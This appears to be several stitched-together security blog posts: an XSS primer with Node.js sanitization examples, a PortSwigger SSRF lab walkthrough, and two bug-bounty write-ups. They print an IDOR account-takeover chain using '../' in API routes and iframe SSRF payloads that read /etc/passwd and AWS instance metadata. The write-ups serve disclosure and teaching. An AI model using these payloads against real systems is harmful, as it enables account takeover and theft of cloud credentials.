What’s XSS btw?

Imagine you have a magical input box on your website where users can leave comments. You as a developer expect a comment like this from your users:

But, uh-oh, someone leaves a comment like this:

XSS can make your website do funny and dangerous things. Look what happens when the bad code is executed:

Bad code:

<script>
alert("Uh-oh, XSS!")
</script>

The output of the bad code when it is entered as a comment:

Suddenly, a pop-up appears to the people while viewing comments! That's the trick of XSS - it can run any code it wants!

The Trouble with XSS

XSS can cause real trouble. An attacker could steal passwords or trick users into doing things they didn't mean to. It happens when bad hackers inject malicious code into your site, and innocent users execute it without being aware of it.

By exploiting XSS, bad guys can:

• Hijack user accounts.

• Steal sensitive user data.

• Deface the website.

• Redirect users to malicious sites.

• Manipulate website content.

Well done! you are an XSS king now. Haha, just kidding. You got a basic idea about XSS.

How XSS Attacks Happen:

The Attacker's Perspective:

Let's meet Mallory, a baaad hacker. Mallory loves exploiting XSS vulnerabilities and hacking victims.

Mallory visits websites. Finds weak spots. Injects malicious code to make things worse. Imagine Mallory as a clever attacker who earns by cheating people. He always looks for a way to pull off the ultimate trick.

The Victim's Perspective:

Now, let's introduce Alice, our victim user. Alice innocently visits the website. Alice doesn't know that a malicious code is lurking in the shadows.

Things get worse when Allice interacts with the website. And she becomes a victim of an XSS attack. Poor Alice, she had no idea what she was getting herself into!

All blame should be put on the developers for opening a door for the attacker Mallory.

Summary

So, in short, XSS is a JavaScript code injection on web applications. Attackers use vulnerable web apps to inject malicious javascript code or a script.

If the attackers could successfully input javascript code AND execute it on your application, then it means, your app is vulnerable to XSS.

Love this blog post? I created a comprehensive XSS prevention guide for developers. Grab it by joining my newsletter or DM me “XSS101” on LinkedIn here.

Simply we can say that XSS (Cross-site scripting) is a JavaScript code injection on web applications. Attackers use vulnerable web apps to inject malicious javascript code or a script. There are several types of XSS attacks.

The risks of having an XSS vulnerability

The malicious script can access any cookies, session tokens, or other sensitive information kept by the browser and used with that app. These scripts can even rewrite the content of the web page.

The impact an XSS vulnerability can make on a business

In a worst-case scenario, an attacker could take over the whole web application. It results in leaking all of your user's data, gaining access to all the user accounts, and accessing the restricted areas of your web app, such as the admin panel.

How to fix the XSS vulnerabilities?

Proper sanitization of the user inputs is one of the best methods to fix an XSS vulnerability. Below are the methods to prevent an XSS attack.

1. Proper sanitization of inputs

2. Encoding the output data

3. Using proper response headers

4. Content security policy header

How to prevent XSS in Node.js?

There are several node packages available to prevent XSS through proper sanitization. We are using only the best ones available out there.

1. Input sanitization using the validator library.

const validator = require('validator');

let string = "\"><script>alert(1234);</script>"
let sanitized_string = validator.escape(string);
console.log(" \n The input string is: ", string);
console.log("The sanitized string is: ",sanitized_string)

Console output of the above code:

The input string is:  "><script>alert(1234);</script>
The sanitized string is:  &quot;&gt;&lt;script&gt;alert(1234);&lt;&#x2F;script&gt;

validator.escape() replaces <, >, &, ', " and / with HTML entities.

Other than escaping these characters, a lot of sanitization and validation functions are available in the package validator. Check it out here: validator npm package

2. Input sanitization using xss module

xss is an npm module used to filter input from users to prevent XSS attacks.

let xss = require("xss");
let string = "<script>alert(1234);</script>"
let sanitized_string = xss(string);
console.log(" \n The input string is: ", string);
console.log("The sanitized string is: ",sanitized_string)

Console output of the above code:

The input string is:  <script>alert(1234);</script>
The sanitized string is:  &lt;script&gt;alert(1234);&lt;/script&gt;

The xss module is specifically developed for preventing XSS vulnerabilities. You can learn more about it here: npmjs.com/package/xss

How to prevent XSS in ExpressJS?

express-validator is a set of express.js middlewares that wraps validator.js validator and sanitizer functions.

Input sanitization using Express-validator

const express = require('express');
const { body } = require('express-validator');

const app = express();
app.use(express.json());

app.post(
  '/comment',
  body('text').escape(), 
  (req, res) => {
    res.send("The sanitized text is: " + req.body.text);
  },
);

app.listen(5000, ()=>{
  console.log("server is listening on port 5000")
})

We can send a POST request to the /comment route, as given below:

POST /comment HTTP/1.1
Host: localhost:5000
Content-Type: application/json
Content-Length: 42

{
"text":"<script>alert(1337);</script>"
}

The response to the above request:

The sanitized text is: <script>alert(1337);</script>

You can learn more about express-validator here: npmjs.com/package/express-validator

Conclusion

We have covered only the sanitization method to prevent XSS. As we have seen earlier, there are some more methods for reducing the impact of an XSS attack. I will update this blog post by adding those XSS prevention methods as well.

Need to find & fix XSS issues on your app?

Feel free to contact me on Linkedin: https://www.linkedin.com/in/usama-varikkottil/

The challenge

We need to access the admin panel and delete the user called Carlos. We can only access the admin panel from the internal network.

The details we have

They have given us the details about the SSRF vulnerable endpoint. Stock check is the feature where SSRF vulnerability is present. Also, the admin interface URL is given.

Exploring the app

The landing page of the lab.

On viewing any of the product details we could see an option to check stock.

The below request is being sent to the server whenever we check the stock.

The first door to the solution

Let's change the stock URL with the URL given on the challenge home page.

When we send the above request, we get the admin interface in the place of stock details.

The Final task

The primary task we have to complete is to delete the user named Carlos.

There is a delete button near the username Carlos. If we click the button, a GET request is sent to the server from our browser.

However, the response is permission denied. What went wrong???

The server will only accept all admin-requests only if it is coming from the internal network. Otherwise, it will reject the request.

So, just as we accessed the admin panel earlier, we should send the user-deletion request.

What can we do to delete the user Carlos?

Let's exploit the SSRF vulnerability present in the stock check feature, and send the user deletion request via exploiting the SSRF, which will hopefully delete the user Carlos.

Revisits the admin page

Now if we go again to the admin page through the stock check endpoint, we could see only one user there. The user Carlos has successfully deleted.

We solved an easy lab Basic SSRF against the local server from Portswigger's Web security Academy.

References

• Lab: Basic SSRF against the local server
• Learn more about SSRF vulnerability

The first target🎯

It is a productivity application with 2+ million users. They have a Responsible Disclosure Policy, where they offered $2500 for critical security issues.

The target web application has some features including, but not limited to:

• Create user accounts and log in to the account.

• The users can create workspaces.

  

• The admin users in the workspaces can invite new team members to the workspaces.

  

• One user can be a member of multiple workspaces.

  

Finding the first two bugs

I was exploring the target web application features and got 2 minor security issues in 7 days. Even though they offer a $100 bounty for similar minor issues, I didn't report those two issues because I was not happy with those findings. This doesn't mean that I won't report minor issues, I will report those issues anyway, but once after I cannot make it to high impact.

The two minor issues I found were:

1. No expiration of the old password reset link after requesting a new password reset link.

2. Response manipulation during the user account deletion process.

To delete a user account, the user has to enter his current password for verification. I could bypass it simply by changing a false value into true. This resulted in the user account deletion without entering the correct password.

I needed to make the response manipulation vulnerability worth reporting by increasing the impact. So I started experimenting with the features related to team members (workspace), by thinking response manipulation could be used again somewhere in the application to get some cool privilege escalation bugs.

Sadly, there were no such requests that needed a response for validation, not even 2FA. So I started testing for IDORs on the web application.

Multiple user accounts for testing IDOR

I registered 2 user accounts with 2 different emails: adimon@just4fun.me for the admin and attacker@appzily.com for the attacker. On creating a new user account, a default workspace automatically gets created inside the user account. The name of the default workspace always starts with the user's first name.

Let's call the victim user "Adimon" and the attacker user "Attacker".

We can use the Chrome profile feature to keep all our info separate, such as cookies and sessions. We can log in to the Attacker's account and the victim's account in Chrome itself. We don't have to open different browsers for keeping different sessions separately.

By analyzing the HTTP requests and responses, I got the following information about the accounts I created while playing with the application.

Usually, I use temporary email services like temp-mail.io or mail.tm for using multiple emails during pentesting. Because I don't want to mess up my Gmail account.

Privilege escalation bugs inside a workspace

From Adimon's account, I invited the attacker to Adimon's workspace. The invitation request has shown below.

Simplified request

There are 3 major parts in every request for this target API.

1. Auth token.

Auth tokens are different for different users. Adimon will have an auth token, and the attacker will have another auth token. An API request made from Adimon's account should be included Adimon's auth token.

The token may or may not expire at a certain timeframe, but we don't have to worry about it for now.

How do we obtain a request from Adimon and send it as the attacker?

Good question😃. We can do that by replacing Adimon's auth token with the attacker's auth token.

2. API route

There will be separate API routes for different functions of the application. API requests related to workspace comes under /workspace route. The above screenshot shows an API request made when inviting a user to Adimon's workspace. Therefore, the ID in the request is Adimon's workspace ID.

3. Request data.

We are working with a workspace invitation request above, so the relevant data would be about whom to be invited. If the request was related to a photo upload, then the request data would be details about the uploading photo.

The workspace admins invite new users by email, so the request data contains the emails to be invited into the workspace.

POST /workspaces/<Adimon's_workspace_ID>/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Connection: close
Content-Type: application/json
X-Auth-Token: <Adimon's Auth token>

{"emails": ["attacker@appzily.com"], "captchaValue": "_"}

As per the target application, only the workspace admin can:

• invite new users to the team

• edit the privileges of the invited users

• delete the user from the team

• and so on.

How can we test and exploit the application?

Good question😃. We need to go through each request individually to test for some vulnerabilities like IDOR. In Adimon's workspace, check if the attacker has the same permissions as Adimon.

Using the attacker's Auth token, I tried sending requests to edit, invite, and delete a user from Adimon's workspace. Unfortunately, every request failed by showing a 403 Forbidden error.

The following screenshot shows a sample request made using the attacker's auth token, to invite a random user into Adimon's workspace.

POST /workspaces/60c30f178747147d9acd89ba/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>


{"emails":["random@gmail.com"],"captchaValue":"_"}

A method to bypass the 403 Forbidden error

I read a lot of #bugbounty tips from Twitter about bypassing 403 Forbidden errors that help us during API hacking. I started testing them one by one.

1: Wrap ID with an array

Send an array of workspace IDs. Failed

POST /workspaces/[60c30f178747147d9acd89ba]/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>

{"emails":["random@gmail.com"],"captchaValue":"_"}

An array of Emails. Failed

The email is sent as an array by default, so let's try changing it to a nested array.

POST /workspaces/60c30f178747147d9acd89ba/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>


{"emails":[["random@gmail.com"]],"captchaValue":"_"}

2: Wrap ID with a JSON object Failed

POST /workspaces/{"id":"60c30f178747147d9acd89ba"}/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>


{"emails":["random@gmail.com"],"captchaValue":"_"}

Send the email as a JSON object

POST /workspaces/60c30f178747147d9acd89ba/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>


{"emails":[{"email": "random@gmail.com"}],"captchaValue":"_"}

3: Change the request method Failed

I tried changing every POST request to DELETE, PUT, and PATCH. But it failed by showing a 405 method not allowed error.

PUT /workspaces/<workspace_ID>/users?sendEmail=true HTTP/1.1
...
...

PATCH /workspaces/<workspace_ID>/users?sendEmail=true HTTP/1.1
...
...

DELETE /workspaces/<workspace_ID>/users?sendEmail=true HTTP/1.1
...
...

4: Add/Change the API version in the route Failed

We need to check if older versions of API exist by adding /v1/, /v2/, or /v3/ to the route. I tested all API versions since there were no version numbers sent in this API request by default.

POST /v1/workspaces/<workspace_ID>/users?sendEmail=true HTTP/1.1
...
...

POST /v2/workspaces/<workspace_ID>/users?sendEmail=true HTTP/1.1
...
...

I got nothing except the server's 404 Not Found error response while playing with API versions.

5: IDs as a wildcard character Failed

Sometimes replacing the IDs, emails, or usernames with a wildcard character would cause some strange responses from the server. For example, * means "All", so replacing an ID with a * character in a request would mean doing the same thing for all the IDs in the database instead of just one.

As in the example request given below, I tried to replace the workspace ID with a * character to check if I can invite a new user into every workspace out there in the target application. Unfortunately, the only response I'm getting from the server was a 404 Not Found error.

POST /workspaces/*/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: ....


{"emails":["myEmail@gmail.com"],"captchaValue":"_"}

6: Add URL encoded null characters: Failed

POST /workspaces/60c30f178747147d9acd89ba%00/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>


{"emails":["random@gmail.com"],"captchaValue":"_"}

We get some weird responses sometimes from the server by adding null characters in the requests. Try adding %00 in the URL, request data, header, etc. However, this API and server handled every null character carefully.

I don't even remember what other things I tested on this API, but I'm sure that I spent a few days just playing on the API with the goal of finding something interesting.

I wanted to test more on this API, but there were no tricks left in my brain at that moment. I knew there are a lot of bug bounty tips shared on Twitter. And the collections of such bug bounty tips are shared on the web.

I made a quick google search for "API bug bounty tips". And I came across a GitHub repository of API security checklists. Book-of-bugbounty-tips/api (Not 100% sure if this is the repository I landed at.).

After some tests and failures, I tried testing with an ../ in the API route. The attacker's workspace ID is 60b64f71adf0d3543cfd8229 and Adimon's workspace ID is 60c30f178747147d9acd89ba.

POST /workspaces/60b64f71adf0d3543cfd8229/../60c30f178747147d9acd89ba/users?sendEmail=true HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>


{"emails":["random@gmail.com"],"captchaValue":"_"}

And to my surprise, it was successful😇. I could invite new users to the Adimon workspace by sending a request like the above using the attacker's auth token.

What's the next step?

Increasing the impact of the vulnerability is the next step. It would be a good deal if we could somehow take over user accounts by exploiting this vulnerability.

Password change

I tried changing Adimon's password from the attacker's account by exploiting the above vulnerability. Sadly, it failed since Adimon's old password is required to change the password of Adimon.

Okay, next which is the feature to achieve an account takeover by exploiting the vulnerability? Yeah, email changing.

Changing email of a user

Let's try changing Adimon's email using the attacker's auth token in the request. If we get a successful response, we could send the forgot password request later, and the reset email would receive into the updated email address.

A normal email change request looks like this:

PUT /users/60b64f71adf0d3543cfd8225/email HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>


{"email":"attacker-mon@gmail.com"}

60b64f71adf0d3543cfd8225 is the userID of the attacker. I sent the below request to change Adimon's email using the attacker's AUTH token. Adimon's userId is 60c30f168747147d9acd89aa.

PUT /users/60b64f71adf0d3543cfd8225/../60c30f168747147d9acd89aa/email HTTP/1.1
Host: global.api.host.com
Content-Type: application/json
X-Auth-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJS...<Attacker's AUTH Token>


{"email":"attacker-mon@gmail.com"}

The request was successful. And it responded with a 200 OK response. Cool... But the email change has not been completed yet, because a verification link needs to click in order to complete the email change process.

There are two possibilities here: The email change verification link would receive into

1. the current email.

2. The newly requested email.

For my luck, it delivered the verification link to the newly requested email. That means, to the attacker's email. In our case, the current email is Adimon's email and the newly requested email is the attacker's email. Taking over Adimon's account from the attacker's account has been done successfully. If an attacker has the userId of the victim, he can successfully take over the victim's account.

Solving the last problem

There is one more thing we need to find: The userId. We have successfully found an IDOR vulnerability. But in order to exploit the attack, we need to find userId of the victim user(Adimon in our case).

How do we obtain the userId?

There is a feature to invite users to the workspace using their email.

From the attacker's account, I invited Adimon into the attacker's workspace. After sending the invitation request, the response to that request contained userId of the invited email.

Only the user email is needed to get the userId, if there is a user account with the entered email, then the response contains that user's userId.

The complete attack looks like this:

1. The attacker invites Adimon to his workspace, by entering the email address adimon@just4fun.me.

2. Get Adimon's userId from the #1 response.

3. The attacker changes the email of Adimon into the attacker's email by exploiting IDOR vulnerability.

4. Make a forgot password request.

Bug report

I made a report and sent it to the company.

The total bounty amount

Did you know that you can like this post 10 times, if you do, that will make my day! If you don't, it's okay too...

5 days later after sending the report, I got an email from the team regarding the bounty amount of $2500.

The role of luck in bug bounty hunting

Imagine if they delivered the verification link of the email change request to the current email instead of the new email. I would not find Account takeover vulnerability then. I was lucky enough to receive the verification email to the newly requested email. Luck will come automatically if we work consistently. We can increase the chances of luck by putting in more effort.

Reported 1 minor issue

I mentioned about 2 minor issues I got while hunting the target. I reported the second issue. Unfortunately, it was a duplicate finding.

Where the heck is the second account takeover?

I planned to cover details about both the account takeover vulnerabilities in this blog post. But seriously dude, writing a write-up is very challenging and hard. I will publish the other account takeover vulnerability as a new blog post on another day.

Struggling to get your first bounty?

If you are still struggling to find your first bug, I get you, dude. It is indeed tough. But it's possible.

If you want this company's details, message "ATOblog" to my LinkedIn here, and I will be happy to share this program's details with you.

References

• https://gowsundar.gitbook.io/book-of-bugbounty-tips/api

• https://github.com/arainho/awesome-api-security

• https://github.com/inonshk/31-days-of-API-Security-Tips

• https://github.com/HolyBugx/HolyTips/blob/main/Checklist/API%20Security.pdf

The target was a productivity app. There was a feature to create and manage projects in it. After spending almost 8+ hours exploring app.target.com features, I came to notice a button that prints the projects created on my account.

When I clicked the button, a PDF was generated with my project in it. Okay, enough for opening up Burpsuite, it seems interesting to dive deep into it. And I intercepted the HTTP request that is going to the server when I click on the Print button. And it was very interesting.

There was an html parameter, which contains a whole bunch of HTML codes, which the PDF generates from it.

I tried sending the request by entering some random HTML codes as the html parameter value, and it generated the PDFs successfully.

Alright, now let's try sending some iframe tags as the html parameter's value. I tried embedding my personal website using the <iframe> tag.

<iframe src=https://www.usamav.dev width=100% height=100%>

The generated pdf contained my personal website embedded in it. Cool...

The next step is to access the internal files using <iframe> tags. First, let's start with /etc/passwd.

<iframe src=file:///etc/passwd width=100% height=100%>

This generated a pdf with the following content.

The target was running on an AWS EC2 server. So it's time to access AWS EC2 server meta-data. As per AWS documentation,

"To view all categories of instance metadata from within a running instance, use the following URI. http://169.254.169.254/latest/meta-data/. The IP address 169.254.169.254 is a link-local address and is valid only from the instance."

We can try embedding the above URI in the PDF using the <iframe> tag to access the meta-data.

<iframe src="http://169.254.169.254/latest/meta-data"+width="100%"+height="100%"></iframe>

This was also successful. I immediately got the pdf with the meta-data in it.

I was able to access some confidential data such as secret_key, private access key, internal server files, mac address, user details, instance details, etc.

The whole process took a little while than I expected. Because whenever I sent a request with the HTML codes to the server, I get a unique code for that PDF, to access the generated PDF, I needed to copy that unique code and paste it on another endpoint on that API. So to automate this boring task, I made a quick python script to automate the PDF generation.

And finally, I spend almost 1 day alone writing a bug report and sent it to the responsible security team. Within a few hours, they responded to my report. I also sent the python script along with the report. I was so excited as this is my first ever SSRF finding on a real-world target.

Although, the bug was not a critical finding as I expected.

And finally, I received the bounty amount of $400 on 22nd April 2021.

As you have read till here, you would've noticed that this bug is such an easy-to-exploit bug. No firewall, no fancy bypassing techniques, not so complicated, just a straightforward bug.

However, writeups of easy findings motivate me oftentimes. Every time I read similar writeups of some kind of easy bugs, I feel like I have enough skill to start hunting a target application. Usually, those writeups help me to escape from the tutorial hell and push me to start doing the work.

I hope this write-up will also motivate someone to hunt your target for bugs. You can always reach out to me on Twitter at @usama_dev

Good luck... and Thanks for reading till here...